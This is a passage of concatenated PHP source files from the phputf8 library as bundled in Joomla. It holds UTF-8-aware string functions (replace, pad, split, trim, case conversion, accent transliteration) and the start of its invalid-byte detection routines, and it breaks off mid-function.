* Case-insensitive version of str_replace
* Note: requires utf8_strtolower
* Note: it's not fast and gets slower if $search / $replace is array
* Notes: it's based on the assumption that the lower and uppercase
* versions of a UTF-8 character will have the same length in bytes
* which is currently true given the hash table to strtolower
* @param string
* @return string
* @see http://www.php.net/str_ireplace
* @see utf8_strtolower
* @package utf8
*/
function utf8_ireplace($search, $replace, $str, $count = NULL){

    if ( !is_array($search) ) {

        $slen = strlen($search);
        if ( $slen == 0 ) {
            return $str;
        }

        $lendif = strlen($replace) - strlen($search);
        $search = utf8_strtolower($search);

        $search = preg_quote($search, '/');
        $lstr = utf8_strtolower($str);
        $i = 0;
        $matched = 0;
        while ( preg_match('/(.*)'.$search.'/Us',$lstr,
$matches) ) {
            if ( $i === $count ) {
                break;
            }
            $mlen = strlen($matches[0]);
            $lstr = substr($lstr, $mlen);
            $str = substr_replace($str, $replace,
$matched+strlen($matches[1]), $slen);
            $matched += $mlen + $lendif;
            $i++;
        }
        return $str;

    } else {

        foreach ( array_keys($search) as $k ) {

            if ( is_array($replace) ) {

                if ( array_key_exists($k,$replace) ) {

                    $str = utf8_ireplace($search[$k], $replace[$k], $str,
$count);

                } else {

                    $str = utf8_ireplace($search[$k], '', $str,
$count);

                }

            } else {

                $str = utf8_ireplace($search[$k], $replace, $str, $count);

            }
        }
        return $str;

    }

}


<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* Replacement for str_pad. $padStr may contain multi-byte characters.
*
* @author Oliver Saunders <oliver (a) osinternetservices.com>
* @param string $input
* @param int $length
* @param string $padStr
* @param int $type ( same constants as str_pad )
* @return string
* @see http://www.php.net/str_pad
* @see utf8_substr
* @package utf8
*/
function utf8_str_pad($input, $length, $padStr = ' ', $type =
STR_PAD_RIGHT) {

    $inputLen = utf8_strlen($input);
    if ($length <= $inputLen) {
        return $input;
    }

    $padStrLen = utf8_strlen($padStr);
    $padLen = $length - $inputLen;

    if ($type == STR_PAD_RIGHT) {
        $repeatTimes = ceil($padLen / $padStrLen);
        return utf8_substr($input . str_repeat($padStr, $repeatTimes), 0,
$length);
    }

    if ($type == STR_PAD_LEFT) {
        $repeatTimes = ceil($padLen / $padStrLen);
        return utf8_substr(str_repeat($padStr, $repeatTimes), 0,
floor($padLen)) . $input;
    }

    if ($type == STR_PAD_BOTH) {

        $padLen/= 2;
        $padAmountLeft = floor($padLen);
        $padAmountRight = ceil($padLen);
        $repeatTimesLeft = ceil($padAmountLeft / $padStrLen);
        $repeatTimesRight = ceil($padAmountRight / $padStrLen);

        $paddingLeft = utf8_substr(str_repeat($padStr, $repeatTimesLeft),
0, $padAmountLeft);
        $paddingRight = utf8_substr(str_repeat($padStr, $repeatTimesRight),
0, $padAmountLeft);
        return $paddingLeft . $input . $paddingRight;
    }

    trigger_error('utf8_str_pad: Unknown padding type (' . $type
. ')',E_USER_ERROR);
}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to str_split
* Convert a string to an array
* Note: requires utf8_strlen to be loaded
* @param string UTF-8 encoded
* @param int number to characters to split string by
* @return string characters in string reverses
* @see http://www.php.net/str_split
* @see utf8_strlen
* @package utf8
*/
function utf8_str_split($str, $split_len = 1) {

    if ( !preg_match('/^[0-9]+$/',$split_len) || $split_len <
1 ) {
        return FALSE;
    }

    $len = utf8_strlen($str);
    if ( $len <= $split_len ) {
        return array($str);
    }

   
preg_match_all('/.{'.$split_len.'}|[^\x00]{1,'.$split_len.'}$/us',
$str, $ar);
    return $ar[0];

}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware substr_replace.
* Note: requires utf8_substr to be loaded
* @see http://www.php.net/substr_replace
* @see utf8_strlen
* @see utf8_substr
*/
function utf8_substr_replace($str, $repl, $start , $length = NULL ) {
    preg_match_all('/./us', $str, $ar);
    preg_match_all('/./us', $repl, $rar);
    if( $length === NULL ) {
        $length = utf8_strlen($str);
    }
    array_splice( $ar[0], $start, $length, $rar[0] );
    return join('',$ar[0]);
}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware replacement for ltrim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise ltrim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/ltrim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_ltrim( $str, $charlist = FALSE ) {
    if($charlist === FALSE) return ltrim($str);

    //quote charlist for use in a characterclass
    $charlist =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist);

    return
preg_replace('/^['.$charlist.']+/u','',$str);
}

//---------------------------------------------------------------
/**
* UTF-8 aware replacement for rtrim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise rtrim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/rtrim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_rtrim( $str, $charlist = FALSE ) {
    if($charlist === FALSE) return rtrim($str);

    //quote charlist for use in a characterclass
    $charlist =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist);

    return
preg_replace('/['.$charlist.']+$/u','',$str);
}

//---------------------------------------------------------------
/**
* UTF-8 aware replacement for trim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise trim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/trim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_trim( $str, $charlist = FALSE ) {
    if($charlist === FALSE) return trim($str);
    return utf8_ltrim(utf8_rtrim($str, $charlist), $charlist);
}
<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ucfirst
* Make a string's first character uppercase
* Note: requires utf8_strtoupper
* @param string
* @return string with first character as upper case (if applicable)
* @see http://www.php.net/ucfirst
* @see utf8_strtoupper
* @package utf8
*/
function utf8_ucfirst($str){
    switch ( utf8_strlen($str) ) {
        case 0:
            return '';
        break;
        case 1:
            return utf8_strtoupper($str);
        break;
        default:
            preg_match('/^(.{1})(.*)$/us', $str, $matches);
            return utf8_strtoupper($matches[1]).$matches[2];
        break;
    }
}

<?php
/**
* @package utf8
*/

//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ucwords
* Uppercase the first character of each word in a string
* Note: requires utf8_substr_replace and utf8_strtoupper
* @param string
* @return string with first char of each word uppercase
* @see http://www.php.net/ucwords
* @package utf8
*/
function utf8_ucwords($str) {
    // Note: [\x0c\x09\x0b\x0a\x0d\x20] matches;
    // form feeds, horizontal tabs, vertical tabs, linefeeds and carriage
returns
    // This corresponds to the definition of a "word" defined at
http://www.php.net/ucwords
    $pattern =
'/(^|([\x0c\x09\x0b\x0a\x0d\x20]+))([^\x0c\x09\x0b\x0a\x0d\x20]{1})[^\x0c\x09\x0b\x0a\x0d\x20]*/u';
    return preg_replace_callback($pattern,
'utf8_ucwords_callback',$str);
}

//---------------------------------------------------------------
/**
* Callback function for preg_replace_callback call in utf8_ucwords
* You don't need to call this yourself
* @param array of matches corresponding to a single word
* @return string with first char of the word in uppercase
* @see utf8_ucwords
* @see utf8_strtoupper
* @package utf8
*/
function utf8_ucwords_callback($matches) {
    $leadingws = $matches[2];
    $ucfirst = utf8_strtoupper($matches[3]);
    $ucword = utf8_substr_replace(ltrim($matches[0]),$ucfirst,0,1);
    return $leadingws . $ucword;
}

<?php
/**
* This is the dynamic loader for the library. It checks whether you have
* the mbstring extension available and includes relevant files
* on that basis, falling back to the native (as in written in PHP) version
* if mbstring is unavailabe.
*
* It's probably easiest to use this, if you don't want to
understand
* the dependencies involved, in conjunction with PHP versions etc. At
* the same time, you might get better performance by managing loading
* yourself. The smartest way to do this, bearing in mind performance,
* is probably to "load on demand" - i.e. just before you use
these
* functions in your code, load the version you need.
*
* It makes sure the the following functions are available;
* utf8_strlen, utf8_strpos, utf8_strrpos, utf8_substr,
* utf8_strtolower, utf8_strtoupper
* Other functions in the ./native directory depend on these
* six functions being available
* @package utf8
*/

/**
* Put the current directory in this constant
*/
if ( !defined('UTF8') ) {
    define('UTF8',dirname(__FILE__));
}

/**
* If string overloading is active, it will break many of the
* native implementations. mbstring.func_overload must be set
* to 0, 1 or 4 in php.ini (string overloading disabled).
* Also need to check we have the correct internal mbstring
* encoding
*/
if ( extension_loaded('mbstring')) {
    /*
     * Joomla modification - As of PHP 8, the `mbstring.func_overload`
configuration has been removed and the
     * MB_OVERLOAD_STRING constant will no longer be present, so this check
only runs for PHP 7 and older
     * See
https://github.com/php/php-src/commit/331e56ce38a91e87a6fb8e88154bb5bde445b132
     * and
https://github.com/php/php-src/commit/97df99a6d7d96a886ac143337fecad775907589a
     * for additional references
     */
    if ( PHP_VERSION_ID < 80000 && ((int)
ini_get('mbstring.func_overload')) & MB_OVERLOAD_STRING ) {
        trigger_error('String functions are overloaded by
mbstring',E_USER_ERROR);
    }
    mb_internal_encoding('UTF-8');
}

/**
* Check whether PCRE has been compiled with UTF-8 support
*/
$UTF8_ar = array();
if ( preg_match('/^.{1}$/u',"ñ",$UTF8_ar) != 1 ) {
    trigger_error('PCRE is not compiled with UTF-8
support',E_USER_ERROR);
}
unset($UTF8_ar);


/**
* Load the smartest implementations of utf8_strpos, utf8_strrpos
* and utf8_substr
*/
if ( !defined('UTF8_CORE') ) {
    if ( function_exists('mb_substr') ) {
        require_once UTF8 . '/mbstring/core.php';
    } else {
        require_once UTF8 . '/utils/unicode.php';
        require_once UTF8 . '/native/core.php';
    }
}

/**
* Load the native implementation of utf8_substr_replace
*/
require_once UTF8 . '/substr_replace.php';

/**
* You should now be able to use all the other utf_* string functions
*/
<?php
/**
* Tools to help with ASCII in UTF-8
*
* @package utf8
*/

//--------------------------------------------------------------------
/**
* Tests whether a string contains only 7bit ASCII bytes.
* You might use this to conditionally check whether a string
* needs handling as UTF-8 or not, potentially offering performance
* benefits by using the native PHP equivalent if it's just ASCII e.g.;
*
* <code>
* if ( utf8_is_ascii($someString) ) {
*     // It's just ASCII - use the native PHP version
*     $someString = strtolower($someString);
* } else {
*     $someString = utf8_strtolower($someString);
* }
* </code>
*
* @param string
* @return boolean TRUE if it's all ASCII
* @package utf8
* @see utf8_is_ascii_ctrl
*/
function utf8_is_ascii($str) {
    // Search for any bytes which are outside the ASCII range...
    return (preg_match('/(?:[^\x00-\x7F])/',$str) !== 1);
}

//--------------------------------------------------------------------
/**
* Tests whether a string contains only 7bit ASCII bytes with device
* control codes omitted. The device control codes can be found on the
* second table here: http://www.w3schools.com/tags/ref_ascii.asp
*
* @param string
* @return boolean TRUE if it's all ASCII without device control codes
* @package utf8
* @see utf8_is_ascii
*/
function utf8_is_ascii_ctrl($str) {
    if ( strlen($str) > 0 ) {
        // Search for any bytes which are outside the ASCII range,
        // or are device control codes
        return (preg_match('/[^\x09\x0A\x0D\x20-\x7E]/',$str) !==
1);
    }
    return FALSE;
}

//--------------------------------------------------------------------
/**
* Strip out all non-7bit ASCII bytes
* If you need to transmit a string to system which you know can only
* support 7bit ASCII, you could use this function.
* @param string
* @return string with non ASCII bytes removed
* @package utf8
* @see utf8_strip_non_ascii_ctrl
*/
function utf8_strip_non_ascii($str) {
    ob_start();
    while ( preg_match(
        '/^([\x00-\x7F]+)|([^\x00-\x7F]+)/S',
            $str, $matches) ) {
        if ( !isset($matches[2]) ) {
            echo $matches[0];
        }
        $str = substr($str, strlen($matches[0]));
    }
    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}

//--------------------------------------------------------------------
/**
* Strip out device control codes in the ASCII range
* which are not permitted in XML. Note that this leaves
* multi-byte characters untouched - it only removes device
* control codes
* @see http://hsivonen.iki.fi/producing-xml/#controlchar
* @param string
* @return string control codes removed
*/
function utf8_strip_ascii_ctrl($str) {
    ob_start();
    while ( preg_match(
       
'/^([^\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)|([\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)/S',
            $str, $matches) ) {
        if ( !isset($matches[2]) ) {
            echo $matches[0];
        }
        $str = substr($str, strlen($matches[0]));
    }
    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}

//--------------------------------------------------------------------
/**
* Strip out all non 7bit ASCII bytes and ASCII device control codes.
* For a list of ASCII device control codes see the 2nd table here:
* http://www.w3schools.com/tags/ref_ascii.asp
*
* @param string
* @return boolean TRUE if it's all ASCII
* @package utf8
*/
function utf8_strip_non_ascii_ctrl($str) {
    ob_start();
    while ( preg_match(
       
'/^([\x09\x0A\x0D\x20-\x7E]+)|([^\x09\x0A\x0D\x20-\x7E]+)/S',
            $str, $matches) ) {
        if ( !isset($matches[2]) ) {
            echo $matches[0];
        }
        $str = substr($str, strlen($matches[0]));
    }
    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}

//---------------------------------------------------------------
/**
* Replace accented UTF-8 characters by unaccented ASCII-7
"equivalents".
* The purpose of this function is to replace characters commonly found in
Latin
* alphabets with something more or less equivalent from the ASCII range.
This can
* be useful for converting a UTF-8 to something ready for a filename, for
example.
* Following the use of this function, you would probably also pass the
string
* through utf8_strip_non_ascii to clean out any other non-ASCII chars
* Use the optional parameter to just deaccent lower ($case = -1) or upper
($case = 1)
* letters. Default is to deaccent both cases ($case = 0)
*
* For a more complete implementation of transliteration, see the
utf8_to_ascii package
* available from the phputf8 project downloads:
* http://prdownloads.sourceforge.net/phputf8
*
* @param string UTF-8 string
* @param int (optional) -1 lowercase only, +1 uppercase only, 1 both cases
* @param string UTF-8 with accented characters replaced by ASCII chars
* @return string accented chars replaced with ascii equivalents
* @author Andreas Gohr <andi@splitbrain.org>
* @package utf8
*/
function utf8_accents_to_ascii( $str, $case=0 ){

    static $UTF8_LOWER_ACCENTS = NULL;
    static $UTF8_UPPER_ACCENTS = NULL;

    if($case <= 0){

        if ( is_null($UTF8_LOWER_ACCENTS) ) {
            $UTF8_LOWER_ACCENTS = array(
  'à' => 'a', 'ô' => 'o',
'ď' => 'd', 'ḟ' => 'f',
'ë' => 'e', 'š' => 's',
'ơ' => 'o',
  'ß' => 'ss', 'ă' => 'a',
'ř' => 'r', 'ț' => 't',
'ň' => 'n', 'ā' => 'a',
'ķ' => 'k',
  'ŝ' => 's', 'ỳ' => 'y',
'ņ' => 'n', 'ĺ' => 'l',
'ħ' => 'h', 'ṗ' => 'p',
'ó' => 'o',
  'ú' => 'u', 'ě' => 'e',
'é' => 'e', 'ç' => 'c',
'ẁ' => 'w', 'ċ' => 'c',
'õ' => 'o',
  'ṡ' => 's', 'ø' => 'o',
'ģ' => 'g', 'ŧ' => 't',
'ș' => 's', 'ė' => 'e',
'ĉ' => 'c',
  'ś' => 's', 'î' => 'i',
'ű' => 'u', 'ć' => 'c',
'ę' => 'e', 'ŵ' => 'w',
'ṫ' => 't',
  'ū' => 'u', 'č' => 'c',
'ö' => 'oe', 'è' => 'e',
'ŷ' => 'y', 'ą' => 'a',
'ł' => 'l',
  'ų' => 'u', 'ů' => 'u',
'ş' => 's', 'ğ' => 'g',
'ļ' => 'l', 'ƒ' => 'f',
'ž' => 'z',
  'ẃ' => 'w', 'ḃ' => 'b',
'å' => 'a', 'ì' => 'i',
'ï' => 'i', 'ḋ' => 'd',
'ť' => 't',
  'ŗ' => 'r', 'ä' => 'ae',
'í' => 'i', 'ŕ' => 'r',
'ê' => 'e', 'ü' => 'ue',
'ò' => 'o',
  'ē' => 'e', 'ñ' => 'n',
'ń' => 'n', 'ĥ' => 'h',
'ĝ' => 'g', 'đ' => 'd',
'ĵ' => 'j',
  'ÿ' => 'y', 'ũ' => 'u',
'ŭ' => 'u', 'ư' => 'u',
'ţ' => 't', 'ý' => 'y',
'ő' => 'o',
  'â' => 'a', 'ľ' => 'l',
'ẅ' => 'w', 'ż' => 'z',
'ī' => 'i', 'ã' => 'a',
'ġ' => 'g',
  'ṁ' => 'm', 'ō' => 'o',
'ĩ' => 'i', 'ù' => 'u',
'į' => 'i', 'ź' => 'z',
'á' => 'a',
  'û' => 'u', 'þ' => 'th',
'ð' => 'dh', 'æ' => 'ae',
'µ' => 'u', 'ĕ' => 'e',
            );
        }

        $str = str_replace(
                array_keys($UTF8_LOWER_ACCENTS),
                array_values($UTF8_LOWER_ACCENTS),
                $str
            );
    }

    if($case >= 0){
        if ( is_null($UTF8_UPPER_ACCENTS) ) {
            $UTF8_UPPER_ACCENTS = array(
  'À' => 'A', 'Ô' => 'O',
'Ď' => 'D', 'Ḟ' => 'F',
'Ë' => 'E', 'Š' => 'S',
'Ơ' => 'O',
  'Ă' => 'A', 'Ř' => 'R',
'Ț' => 'T', 'Ň' => 'N',
'Ā' => 'A', 'Ķ' => 'K',
  'Ŝ' => 'S', 'Ỳ' => 'Y',
'Ņ' => 'N', 'Ĺ' => 'L',
'Ħ' => 'H', 'Ṗ' => 'P',
'Ó' => 'O',
  'Ú' => 'U', 'Ě' => 'E',
'É' => 'E', 'Ç' => 'C',
'Ẁ' => 'W', 'Ċ' => 'C',
'Õ' => 'O',
  'Ṡ' => 'S', 'Ø' => 'O',
'Ģ' => 'G', 'Ŧ' => 'T',
'Ș' => 'S', 'Ė' => 'E',
'Ĉ' => 'C',
  'Ś' => 'S', 'Î' => 'I',
'Ű' => 'U', 'Ć' => 'C',
'Ę' => 'E', 'Ŵ' => 'W',
'Ṫ' => 'T',
  'Ū' => 'U', 'Č' => 'C',
'Ö' => 'Oe', 'È' => 'E',
'Ŷ' => 'Y', 'Ą' => 'A',
'Ł' => 'L',
  'Ų' => 'U', 'Ů' => 'U',
'Ş' => 'S', 'Ğ' => 'G',
'Ļ' => 'L', 'Ƒ' => 'F',
'Ž' => 'Z',
  'Ẃ' => 'W', 'Ḃ' => 'B',
'Å' => 'A', 'Ì' => 'I',
'Ï' => 'I', 'Ḋ' => 'D',
'Ť' => 'T',
  'Ŗ' => 'R', 'Ä' => 'Ae',
'Í' => 'I', 'Ŕ' => 'R',
'Ê' => 'E', 'Ü' => 'Ue',
'Ò' => 'O',
  'Ē' => 'E', 'Ñ' => 'N',
'Ń' => 'N', 'Ĥ' => 'H',
'Ĝ' => 'G', 'Đ' => 'D',
'Ĵ' => 'J',
  'Ÿ' => 'Y', 'Ũ' => 'U',
'Ŭ' => 'U', 'Ư' => 'U',
'Ţ' => 'T', 'Ý' => 'Y',
'Ő' => 'O',
  'Â' => 'A', 'Ľ' => 'L',
'Ẅ' => 'W', 'Ż' => 'Z',
'Ī' => 'I', 'Ã' => 'A',
'Ġ' => 'G',
  'Ṁ' => 'M', 'Ō' => 'O',
'Ĩ' => 'I', 'Ù' => 'U',
'Į' => 'I', 'Ź' => 'Z',
'Á' => 'A',
  'Û' => 'U', 'Þ' => 'Th',
'Ð' => 'Dh', 'Æ' => 'Ae',
'Ĕ' => 'E',
            );
        }
        $str = str_replace(
                array_keys($UTF8_UPPER_ACCENTS),
                array_values($UTF8_UPPER_ACCENTS),
                $str
            );
    }

    return $str;

}
<?php
/**
* Tools for locating / replacing bad bytes in UTF-8 strings
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
* @see utf8_is_valid
*/

//--------------------------------------------------------------------
/**
* Locates the first bad byte in a UTF-8 string returning it's
* byte index in the string
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return mixed integer byte index or FALSE if no bad found
* @package utf8
*/
function utf8_bad_find($str) {
    $UTF8_BAD =
    '([\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.               # non-overlong
2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.           # excluding
overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.    # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.           # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.        # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.            # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.        # plane 16
    '|(.{1}))';                              # invalid byte
    $pos = 0;
    $badList = array();
    while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
        $bytes = strlen($matches[0]);
        if ( isset($matches[2])) {
            return $pos;
        }
        $pos += $bytes;
        $str = substr($str,$bytes);
    }
    return FALSE;
}

//--------------------------------------------------------------------
/**
* Locates all bad bytes in a UTF-8 string and returns a list of their
* byte index in the string
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return mixed array of integers or FALSE if no bad found
* @package utf8
*/
function utf8_bad_findall($str) {
    $UTF8_BAD =
    '([\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.               # non-overlong
2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.           # excluding
overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.    # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.           # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.        # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.            # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.        # plane 16
    '|(.{1}))';                              # invalid byte
    $pos = 0;
    $badList = array();
    while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
        $bytes = strlen($matches[0]);
        if ( isset($matches[2])) {
            $badList[] = $pos;
        }
        $pos += $bytes;
        $str = substr($str,$bytes);
    }
    if ( count($badList) > 0 ) {
        return $badList;
    }
    return FALSE;
}

//--------------------------------------------------------------------
/**
* Strips out any bad bytes from a UTF-8 string and returns the rest
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return string
* @package utf8
*/
function utf8_bad_strip($str) {
    $UTF8_BAD =
    '([\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.               # non-overlong
2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.           # excluding
overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.    # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.           # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.        # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.            # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.        # plane 16
    '|(.{1}))';                              # invalid byte
    ob_start();
    while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
        if ( !isset($matches[2])) {
            echo $matches[0];
        }
        $str = substr($str,strlen($matches[0]));
    }
    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}

//--------------------------------------------------------------------
/**
* Replace bad bytes with an alternative character - ASCII character
* recommended is replacement char
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string to search
* @param string to replace bad bytes with (defaults to '?') - use
ASCII
* @return string
* @package utf8
*/
function utf8_bad_replace($str, $replace = '?') {
    $UTF8_BAD =
    '([\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.               # non-overlong
2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.           # excluding
overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.    # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.           # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.        # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.            # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.        # plane 16
    '|(.{1}))';                              # invalid byte
    ob_start();
    while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
        if ( !isset($matches[2])) {
            echo $matches[0];
        } else {
            echo $replace;
        }
        $str = substr($str,strlen($matches[0]));
    }
    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}

//--------------------------------------------------------------------
/**
* Return code from utf8_bad_identify() when a five octet sequence is
detected.
* Note: 5 octets sequences are valid UTF-8 but are not supported by Unicode
so
* do not represent a useful character
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_5OCTET',1);

/**
* Return code from utf8_bad_identify() when a six octet sequence is
detected.
* Note: 6 octets sequences are valid UTF-8 but are not supported by Unicode
so
* do not represent a useful character
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_6OCTET',2);

/**
* Return code from utf8_bad_identify().
* Invalid octet for use as start of multi-byte UTF-8 sequence
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SEQID',3);

/**
* Return code from utf8_bad_identify().
* From Unicode 3.1, non-shortest form is illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_NONSHORT',4);

/**
* Return code from utf8_bad_identify().
* From Unicode 3.2, surrogate characters are illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SURROGATE',5);

/**
* Return code from utf8_bad_identify().
* Codepoints outside the Unicode range are illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_UNIOUTRANGE',6);

/**
* Return code from utf8_bad_identify().
* Incomplete multi-octet sequence
* Note: this is kind of a "catch-all"
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SEQINCOMPLETE',7);

//--------------------------------------------------------------------
/**
* Reports on the type of bad byte found in a UTF-8 string. Returns a
* status code on the first bad byte found
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return mixed integer constant describing problem or FALSE if valid UTF-8
* @see utf8_bad_explain
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_bad_identify($str, &$i) {

    $mState = 0;     // cached expected number of octets after the current
octet
                     // until the beginning of the next UTF8 character
sequence
    $mUcs4  = 0;     // cached Unicode character
    $mBytes = 1;     // cached expected number of octets in the current
sequence

    $len = strlen($str);

    for($i = 0; $i < $len; $i++) {

        $in = ord($str[$i]);

        if ( $mState == 0) {

            // When mState is zero we expect either a US-ASCII character or
a
            // multi-octet sequence.
            if (0 == (0x80 & ($in))) {
                // US-ASCII, pass straight through.
                $mBytes = 1;

            } else if (0xC0 == (0xE0 & ($in))) {
                // First octet of 2 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x1F) << 6;
                $mState = 1;
                $mBytes = 2;

            } else if (0xE0 == (0xF0 & ($in))) {
                // First octet of 3 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x0F) << 12;
                $mState = 2;
                $mBytes = 3;

            } else if (0xF0 == (0xF8 & ($in))) {
                // First octet of 4 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x07) << 18;
                $mState = 3;
                $mBytes = 4;

            } else if (0xF8 == (0xFC & ($in))) {

                /* First octet of 5 octet sequence.
                *
                * This is illegal because the encoded codepoint must be
either
                * (a) not the shortest form or
                * (b) outside the Unicode range of 0-0x10FFFF.
                */

                return UTF8_BAD_5OCTET;

            } else if (0xFC == (0xFE & ($in))) {

                // First octet of 6 octet sequence, see comments for 5
octet sequence.
                return UTF8_BAD_6OCTET;

            } else {
                // Current octet is neither in the US-ASCII range nor a
legal first
                // octet of a multi-octet sequence.
                return UTF8_BAD_SEQID;

            }

        } else {

            // When mState is non-zero, we expect a continuation of the
multi-octet
            // sequence
            if (0x80 == (0xC0 & ($in))) {

                // Legal continuation.
                $shift = ($mState - 1) * 6;
                $tmp = $in;
                $tmp = ($tmp & 0x0000003F) << $shift;
                $mUcs4 |= $tmp;

                /**
                * End of the multi-octet sequence. mUcs4 now contains the
final
                * Unicode codepoint to be output
                */
                if (0 == --$mState) {

                    // From Unicode 3.1, non-shortest form is illegal
                    if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
                        ((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
                        ((4 == $mBytes) && ($mUcs4 < 0x10000)) )
{
                        return UTF8_BAD_NONSHORT;

                    // From Unicode 3.2, surrogate characters are illegal
                    } else if (($mUcs4 & 0xFFFFF800) == 0xD800) {
                        return UTF8_BAD_SURROGATE;

                    // Codepoints outside the Unicode range are illegal
                    } else if ($mUcs4 > 0x10FFFF) {
